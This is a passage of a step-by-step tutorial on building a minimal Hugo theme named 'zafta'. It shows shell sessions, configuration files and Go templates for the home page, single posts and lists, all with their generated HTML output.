    A partial template is a template that can be included in other templates. Partial templates must be called using the “partial” template command. They are very handy for rolling up common behavior. For example, your site may have a banner that all pages use. Instead of copying the text of the banner into every single and list template, you could create a partial with the banner in it. That way if you decide to change the banner, you only have to change the partial template.

    - -

    Create a New Site

    - -

    Let’s use Hugo to create a new web site. I’m a Mac user, so I’ll create mine in my home directory, in the Sites folder. If you’re using Linux, you might have to create the folder first.

    - -

    The “new site” command will create a skeleton of a site. It will give you the basic directory structure and a useable configuration file.

    - -
    $ hugo new site ~/Sites/zafta
    -$ cd ~/Sites/zafta
    -$ ls -l
    -total 8
    -drwxr-xr-x  7 quoha  staff  238 Sep 29 16:49 .
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 16:49 ..
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -$
    -
    - -

    Take a look in the content/ directory to confirm that it is empty.

    - -

    The other directories (archetypes/, layouts/, and static/) are used when customizing a theme. That’s a topic for a different tutorial, so please ignore them for now.

    - -

    Generate the HTML For the New Site

    - -

    Running the hugo command with no options will read all the available content and generate the HTML files. It will also copy all static files (that’s everything that’s not content). Since we have an empty site, it won’t do much, but it will do it very quickly.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -$
    -
    - -

    The “--verbose” flag gives extra information that will be helpful when we build the template. Every line of the output that starts with “INFO:” or “WARN:” is present because we used that flag. The lines that start with “WARN:” are warning messages. We’ll go over them later.

    - -

    We can verify that the command worked by looking at the directory again.

    - -
    $ ls -l
    -total 8
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:02 public
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -$
    -
    - -

    See that new public/ directory? Hugo placed all generated content there. When you’re ready to publish your web site, that’s the place to start. For now, though, let’s just confirm that we have what we’d expect from a site with no content.

    - -
    $ ls -l public
    -total 16
    --rw-r--r--  1 quoha  staff  416 Sep 29 17:02 index.xml
    --rw-r--r--  1 quoha  staff  262 Sep 29 17:02 sitemap.xml
    -$
    -
    - -

    Hugo created two XML files, which is standard, but there are no HTML files.

    - -

    Test the New Site

    - -

    Verify that you can run the built-in web server. It will dramatically shorten your development cycle if you do. Start it by running the “server” command. If it is successful, you will see output similar to the following:

    - -
    $ hugo server --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -Serving pages from /Users/quoha/Sites/zafta/public
    -Web Server is available at http://localhost:1313
    -Press Ctrl+C to stop
    -
    - -

    Connect to the listed URL (it’s on the line that starts with “Web Server”). If everything is working correctly, you should get a page that shows the following:

    - -
    index.xml
    -sitemap.xml
    -
    - -

    That’s a listing of your public/ directory. Hugo didn’t create a home page because our site has no content. When there’s no index.html file in a directory, the server lists the files in the directory, which is what you should see in your browser.

    - -

    Let’s go back and look at those warnings again.

    - -
    WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -
    - -

    That second warning is easier to explain. We haven’t created a template to be used to generate “page not found errors.” The 404 message is a topic for a separate tutorial.

    - -

    Now for the first warning. It is for the home page. You can tell because the first layout that it looked for was “index.html.” That’s only used by the home page.

    - -

    I like that the verbose flag causes Hugo to list the files that it’s searching for. For the home page, they are index.html, _default/list.html, and _default/single.html. There are some rules that we’ll cover later that explain the names and paths. For now, just remember that Hugo couldn’t find a template for the home page and it told you so.

    - -

    At this point, you’ve got a working installation and site that we can build upon. All that’s left is to add some content and a theme to display it.

    - -

    Create a New Theme

    - -

    Hugo doesn’t ship with a default theme. There are a few available (I counted a dozen when I first installed Hugo) and Hugo comes with a command to create new themes.

    - -

    We’re going to create a new theme called “zafta.” Since the goal of this tutorial is to show you how to fill out the files to pull in your content, the theme will not contain any CSS. In other words, ugly but functional.

    - -

    All themes have opinions on content and layout. For example, Zafta uses “post” over “blog”. Strong opinions make for simpler templates but differing opinions make it tougher to use themes. When you build a theme, consider using the terms that other themes do.

    - -

    Create a Skeleton

    - -

    Use the hugo “new” command to create the skeleton of a theme. This creates the directory structure and places empty files for you to fill out.

    - -
    $ hugo new theme zafta
    -
    -$ ls -l
    -total 8
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:02 public
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 17:31 themes
    -
    -$ find themes -type f | xargs ls -l
    --rw-r--r--  1 quoha  staff  1081 Sep 29 17:31 themes/zafta/LICENSE.md
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/archetypes/default.md
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/index.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/partials/footer.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/partials/header.html
    --rw-r--r--  1 quoha  staff    93 Sep 29 17:31 themes/zafta/theme.toml
    -$
    -
    - -

    The skeleton includes templates (the files ending in .html), license file, a description of your theme (the theme.toml file), and an empty archetype.

    - -

    Please take a minute to fill out the theme.toml and LICENSE.md files. They’re optional, but if you’re going to be distributing your theme, it tells the world who to praise (or blame). It’s also nice to declare the license so that people will know how they can use the theme.

    - -
    $ vi themes/zafta/theme.toml
    -author = "michael d henderson"
    -description = "a minimal working template"
    -license = "MIT"
    -name = "zafta"
    -source_repo = ""
    -tags = ["tags", "categories"]
    -:wq
    -
    -## also edit themes/zafta/LICENSE.md and change
    -## the bit that says "YOUR_NAME_HERE"
    -
    - -

    Note that the the skeleton’s template files are empty. Don’t worry, we’ll be changing that shortly.

    - -
    $ find themes/zafta -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/index.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/partials/footer.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/partials/header.html
    -$
    -
    - -

    Update the Configuration File to Use the Theme

    - -

    Now that we’ve got a theme to work with, it’s a good idea to add the theme name to the configuration file. This is optional, because you can always add “-t zafta” on all your commands. I like to put it the configuration file because I like shorter command lines. If you don’t put it in the configuration file or specify it on the command line, you won’t use the template that you’re expecting to.

    - -

    Edit the file to add the theme, add a title for the site, and specify that all of our content will use the TOML format.

    - -
    $ vi config.toml
    -theme = "zafta"
    -baseurl = ""
    -languageCode = "en-us"
    -title = "zafta - totally refreshing"
    -MetaDataFormat = "toml"
    -:wq
    -
    -$
    -
    - -

    Generate the Site

    - -

    Now that we have an empty theme, let’s generate the site again.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -$
    -
    - -

    Did you notice that the output is different? The warning message for the home page has disappeared and we have an additional information line saying that Hugo is syncing from the theme’s directory.

    - -

    Let’s check the public/ directory to see what Hugo’s created.

    - -
    $ ls -l public
    -total 16
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:56 css
    --rw-r--r--  1 quoha  staff    0 Sep 29 17:56 index.html
    --rw-r--r--  1 quoha  staff  407 Sep 29 17:56 index.xml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:56 js
    --rw-r--r--  1 quoha  staff  243 Sep 29 17:56 sitemap.xml
    -$
    -
    - -

    Notice four things:

    - -
      -
    1. Hugo created a home page. This is the file public/index.html.
    2. -
    3. Hugo created a css/ directory.
    4. -
    5. Hugo created a js/ directory.
    6. -
    7. Hugo claimed that it created 0 pages. It created a file and copied over static files, but didn’t create any pages. That’s because it considers a “page” to be a file created directly from a content file. It doesn’t count things like the index.html files that it creates automatically.
    8. -
    - -

    The Home Page

    - -

    Hugo supports many different types of templates. The home page is special because it gets its own type of template and its own template file. The file, layouts/index.html, is used to generate the HTML for the home page. The Hugo documentation says that this is the only required template, but that depends. Hugo’s warning message shows that it looks for three different templates:

    - -
    WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -
    - -

    If it can’t find any of these, it completely skips creating the home page. We noticed that when we built the site without having a theme installed.

    - -

    When Hugo created our theme, it created an empty home page template. Now, when we build the site, Hugo finds the template and uses it to generate the HTML for the home page. Since the template file is empty, the HTML file is empty, too. If the template had any rules in it, then Hugo would have used them to generate the home page.

    - -
    $ find . -name index.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 20:21 ./public/index.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 ./themes/zafta/layouts/index.html
    -$
    -
    - -

    The Magic of Static

    - -

    Hugo does two things when generating the site. It uses templates to transform content into HTML and it copies static files into the site. Unlike content, static files are not transformed. They are copied exactly as they are.

    - -

    Hugo assumes that your site will use both CSS and JavaScript, so it creates directories in your theme to hold them. Remember opinions? Well, Hugo’s opinion is that you’ll store your CSS in a directory named css/ and your JavaScript in a directory named js/. If you don’t like that, you can change the directory names in your theme directory or even delete them completely. Hugo’s nice enough to offer its opinion, then behave nicely if you disagree.

    - -
    $ find themes/zafta -type d | xargs ls -ld
    -drwxr-xr-x  7 quoha  staff  238 Sep 29 17:38 themes/zafta
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 17:31 themes/zafta/archetypes
    -drwxr-xr-x  5 quoha  staff  170 Sep 29 17:31 themes/zafta/layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/layouts/_default
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/layouts/partials
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:31 themes/zafta/static
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:31 themes/zafta/static/css
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:31 themes/zafta/static/js
    -$
    -
    - -

    The Theme Development Cycle

    - -

    When you’re working on a theme, you will make changes in the theme’s directory, rebuild the site, and check your changes in the browser. Hugo makes this very easy:

    - -
      -
    1. Purge the public/ directory.
    2. -
    3. Run the built in web server in watch mode.
    4. -
    5. Open your site in a browser.
    6. -
    7. Update the theme.
    8. -
    9. Glance at your browser window to see changes.
    10. -
    11. Return to step 4.
    12. -
    - -

    I’ll throw in one more opinion: never work on a theme on a live site. Always work on a copy of your site. Make changes to your theme, test them, then copy them up to your site. For added safety, use a tool like Git to keep a revision history of your content and your theme. Believe me when I say that it is too easy to lose both your mind and your changes.

    - -

    Check the main Hugo site for information on using Git with Hugo.

    - -

    Purge the public/ Directory

    - -

    When generating the site, Hugo will create new files and update existing ones in the public/ directory. It will not delete files that are no longer used. For example, files that were created in the wrong directory or with the wrong title will remain. If you leave them, you might get confused by them later. I recommend cleaning out your site prior to generating it.

    - -

    Note: If you’re building on an SSD, you should ignore this. Churning on a SSD can be costly.

    - -

    Hugo’s Watch Option

    - -

    Hugo’s “--watch” option will monitor the content/ and your theme directories for changes and rebuild the site automatically.

    - -

    Live Reload

    - -

    Hugo’s built in web server supports live reload. As pages are saved on the server, the browser is told to refresh the page. Usually, this happens faster than you can say, “Wow, that’s totally amazing.”

    - -

    Development Commands

    - -

    Use the following commands as the basis for your workflow.

    - -
    ## purge old files. hugo will recreate the public directory.
    -##
    -$ rm -rf public
    -##
    -## run hugo in watch mode
    -##
    -$ hugo server --watch --verbose
    -
    - -

    Here’s sample output showing Hugo detecting a change to the template for the home page. Once generated, the web browser automatically reloaded the page. I’ve said this before, it’s amazing.

    - -
    $ rm -rf public
    -$ hugo server --watch --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -Watching for changes in /Users/quoha/Sites/zafta/content
    -Serving pages from /Users/quoha/Sites/zafta/public
    -Web Server is available at http://localhost:1313
    -Press Ctrl+C to stop
    -INFO: 2014/09/29 File System Event: ["/Users/quoha/Sites/zafta/themes/zafta/layouts/index.html": MODIFY|ATTRIB]
    -Change detected, rebuilding site
    -
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 1 ms
    -
    - -

    Update the Home Page Template

    - -

    The home page is one of a few special pages that Hugo creates automatically. As mentioned earlier, it looks for one of three files in the theme’s layout/ directory:

    - -
      -
    1. index.html
    2. -
    3. _default/list.html
    4. -
    5. _default/single.html
    6. -
    - -

    We could update one of the default templates, but a good design decision is to update the most specific template available. That’s not a hard and fast rule (in fact, we’ll break it a few times in this tutorial), but it is a good generalization.

    - -

    Make a Static Home Page

    - -

    Right now, that page is empty because we don’t have any content and we don’t have any logic in the template. Let’s change that by adding some text to the template.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Build the web site and then verify the results.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  78 Sep 29 21:26 public/index.html
    -
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -</html>
    -
    - -

    Live Reload

    - -

    Note: If you’re running the server with the --watch option, you’ll see different content in the file:

    - -
    $ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -<script>document.write('<script src="http://'
    -        + (location.host || 'localhost').split(':')[0]
    -    + ':1313/livereload.js?mindelay=10"></'
    -        + 'script>')</script></body>
    -</html>
    -
    - -

    When you use --watch, the Live Reload script is added by Hugo. Look for live reload in the documentation to see what it does and how to disable it.

    - -

    Build a “Dynamic” Home Page

    - -

    “Dynamic home page?” Hugo’s a static web site generator, so this seems an odd thing to say. I mean let’s have the home page automatically reflect the content in the site every time Hugo builds it. We’ll use iteration in the template to do that.

    - -

    Create New Posts

    - -

    Now that we have the home page generating static content, let’s add some content to the site. We’ll display these posts as a list on the home page and on their own page, too.

    - -

    Hugo has a command to generate a skeleton post, just like it does for sites and themes.

    - -
    $ hugo --verbose new post/first.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/first.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/default.md
    -ERROR: 2014/09/29 Unable to Cast <nil> to map[string]interface{}
    -
    -$
    -
    - -

    That wasn’t very nice, was it?

    - -

    The “new” command uses an archetype to create the post file. Hugo created an empty default archetype file, but that causes an error when there’s a theme. For me, the workaround was to create an archetypes file specifically for the post type.

    - -
    $ vi themes/zafta/archetypes/post.md
    -+++
    -Description = ""
    -Tags = []
    -Categories = []
    -+++
    -:wq
    -
    -$ find themes/zafta/archetypes -type f | xargs ls -l
    --rw-r--r--  1 quoha  staff   0 Sep 29 21:53 themes/zafta/archetypes/default.md
    --rw-r--r--  1 quoha  staff  51 Sep 29 21:54 themes/zafta/archetypes/post.md
    -
    -$ hugo --verbose new post/first.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/first.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/post.md
    -INFO: 2014/09/29 creating /Users/quoha/Sites/zafta/content/post/first.md
    -/Users/quoha/Sites/zafta/content/post/first.md created
    -
    -$ hugo --verbose new post/second.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/second.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/post.md
    -INFO: 2014/09/29 creating /Users/quoha/Sites/zafta/content/post/second.md
    -/Users/quoha/Sites/zafta/content/post/second.md created
    -
    -$ ls -l content/post
    -total 16
    --rw-r--r--  1 quoha  staff  104 Sep 29 21:54 first.md
    --rw-r--r--  1 quoha  staff  105 Sep 29 21:57 second.md
    -
    -$ cat content/post/first.md
    -+++
    -Categories = []
    -Description = ""
    -Tags = []
    -date = "2014-09-29T21:54:53-05:00"
    -title = "first"
    -
    -+++
    -my first post
    -
    -$ cat content/post/second.md
    -+++
    -Categories = []
    -Description = ""
    -Tags = []
    -date = "2014-09-29T21:57:09-05:00"
    -title = "second"
    -
    -+++
    -my second post
    -
    -$
    -
    - -

    Build the web site and then verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"category":"categories", "tag":"tags"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -$
    -
    - -

    The output says that it created 2 pages. Those are our new posts:

    - -
    $ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  78 Sep 29 22:13 public/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/first/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/second/index.html
    -$
    -
    - -

    The new files are empty because because the templates used to generate the content are empty. The homepage doesn’t show the new content, either. We have to update the templates to add the posts.

    - -

    List and Single Templates

    - -

    In Hugo, we have three major kinds of templates. There’s the home page template that we updated previously. It is used only by the home page. We also have “single” templates which are used to generate output for a single content file. We also have “list” templates that are used to group multiple pieces of content before generating output.

    - -

    Generally speaking, list templates are named “list.html” and single templates are named “single.html.”

    - -

    There are three other types of templates: partials, content views, and terms. We will not go into much detail on these.

    - -

    Add Content to the Homepage

    - -

    The home page will contain a list of posts. Let’s update its template to add the posts that we just created. The logic in the template will run every time we build the site.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  {{ range first 10 .Data.Pages }}
    -    <h1>{{ .Title }}</h1>
    -  {{ end }}
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Hugo uses the Go template engine. That engine scans the template files for commands which are enclosed between “{{” and “}}”. In our template, the commands are:

    - -
      -
    1. range
    2. -
    3. .Title
    4. -
    5. end
    6. -
    - -

    The “range” command is an iterator. We’re going to use it to go through the first ten pages. Every HTML file that Hugo creates is treated as a page, so looping through the list of pages will look at every file that will be created.

    - -

    The “.Title” command prints the value of the “title” variable. Hugo pulls it from the front matter in the Markdown file.

    - -

    The “end” command signals the end of the range iterator. The engine loops back to the top of the iteration when it finds “end.” Everything between the “range” and “end” is evaluated every time the engine goes through the iteration. In this file, that would cause the title from the first ten pages to be output as heading level one.

    - -

    It’s helpful to remember that some variables, like .Data, are created before any output files. Hugo loads every content file into the variable and then gives the template a chance to process before creating the HTML files.

    - -

    Build the web site and then verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  94 Sep 29 22:23 public/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/first/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/second/index.html
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -
    -    <h1>second</h1>
    -
    -    <h1>first</h1>
    -
    -</body>
    -</html>
    -$
    -
    - -

    Congratulations, the home page shows the title of the two posts. The posts themselves are still empty, but let’s take a moment to appreciate what we’ve done. Your template now generates output dynamically. Believe it or not, by inserting the range command inside of those curly braces, you’ve learned everything you need to know to build a theme. All that’s really left is understanding which template will be used to generate each content file and becoming familiar with the commands for the template engine.

    - -

    And, if that were entirely true, this tutorial would be much shorter. There are a few things to know that will make creating a new template much easier. Don’t worry, though, that’s all to come.

    - -

    Add Content to the Posts

    - -

    We’re working with posts, which are in the content/post/ directory. That means that their section is “post” (and if we don’t do something weird, their type is also “post”).

    - -

    Hugo uses the section and type to find the template file for every piece of content. Hugo will first look for a template file that matches the section or type name. If it can’t find one, then it will look in the _default/ directory. There are some twists that we’ll cover when we get to categories and tags, but for now we can assume that Hugo will try post/single.html, then _default/single.html.

    - -

    Now that we know the search rule, let’s see what we actually have available:

    - -
    $ find themes/zafta -name single.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  132 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    -
    - -

    We could create a new template, post/single.html, or change the default. Since we don’t know of any other content types, let’s start with updating the default.

    - -

    Remember, any content that we haven’t created a template for will end up using this template. That can be good or bad. Bad because I know that we’re going to be adding different types of content and we’re going to end up undoing some of the changes we’ve made. It’s good because we’ll be able to see immediate results. It’s also good to start here because we can start to build the basic layout for the site. As we add more content types, we’ll refactor this file and move logic around. Hugo makes that fairly painless, so we’ll accept the cost and proceed.

    - -

    Please see the Hugo documentation on template rendering for all the details on determining which template to use. And, as the docs mention, if you’re building a single page application (SPA) web site, you can delete all of the other templates and work with just the default single page. That’s a refreshing amount of joy right there.

    - -

    Update the Template File

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>{{ .Title }}</title>
    -</head>
    -<body>
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Build the web site and verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff   94 Sep 29 22:40 public/index.html
    --rw-r--r--  1 quoha  staff  125 Sep 29 22:40 public/post/first/index.html
    --rw-r--r--  1 quoha  staff    0 Sep 29 22:40 public/post/index.html
    --rw-r--r--  1 quoha  staff  128 Sep 29 22:40 public/post/second/index.html
    -
    -$ cat public/post/first/index.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>first</title>
    -</head>
    -<body>
    -  <h1>first</h1>
    -  <p>my first post</p>
    -
    -</body>
    -</html>
    -
    -$ cat public/post/second/index.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>second</title>
    -</head>
    -<body>
    -  <h1>second</h1>
    -  <p>my second post</p>
    -
    -</body>
    -</html>
    -$
    -
    - -

    Notice that the posts now have content. You can go to localhost:1313/post/first to verify.

    - -

    Linking to Content

    - -

    The posts are on the home page. Let’s add a link from there to the post. Since this is the home page, we’ll update its template.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  {{ range first 10 .Data.Pages }}
    -    <h1><a href="{{ .Permalink }}">{{ .Title }}</a></h1>
    -  {{ end }}
    -</body>
    -</html>
    -
    - -

    Build the web site and verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  149 Sep 29 22:44 public/index.html
    --rw-r--r--  1 quoha  staff  125 Sep 29 22:44 public/post/first/index.html
    --rw-r--r--  1 quoha  staff    0 Sep 29 22:44 public/post/index.html
    --rw-r--r--  1 quoha  staff  128 Sep 29 22:44 public/post/second/index.html
    -
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -
    -    <h1><a href="/post/second/">second</a></h1>
    -
    -    <h1><a href="/post/first/">first</a></h1>
    -
    -</body>
    -</html>
    -
    -$
    -
    - -

    Create a Post Listing

    - -

    We have the posts displaying on the home page and on their own page. We also have a file public/post/index.html that is empty. Let’s make it show a list of all posts (not just the first ten).

    - -

    We need to decide which template to update. This will be a listing, so it should be a list template. Let’s take a quick look and see which list templates are available.

    - -
    $ find themes/zafta -name list.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    -
    - -

    As with the single post, we have to decide to update _default/list.html or create post/list.html. We still don’t have multiple content types, so let’s stay consistent and update the default list template.

    - -

    Creating Top Level Pages

    - -

    Let’s add an “about” page and display it at the top level (as opposed to a sub-level like we did with posts).

    - -

    The default in Hugo is to use the directory structure of the content/ directory to guide the location of the generated html in the public/ directory. Let’s verify that by creating an “about” page at the top level:

    - -
    $ vi content/about.md
    -+++
    -title = "about"
    -description = "about this site"
    -date = "2014-09-27"
    -slug = "about time"
    -+++
    -
    -## about us
    -
    -i'm speechless
    -:wq
    -
    - -

    Generate the web site and verify the results.

    - -
    $ find public -name '*.html' | xargs ls -l
    --rw-rw-r--  1 mdhender  staff   334 Sep 27 15:08 public/about-time/index.html
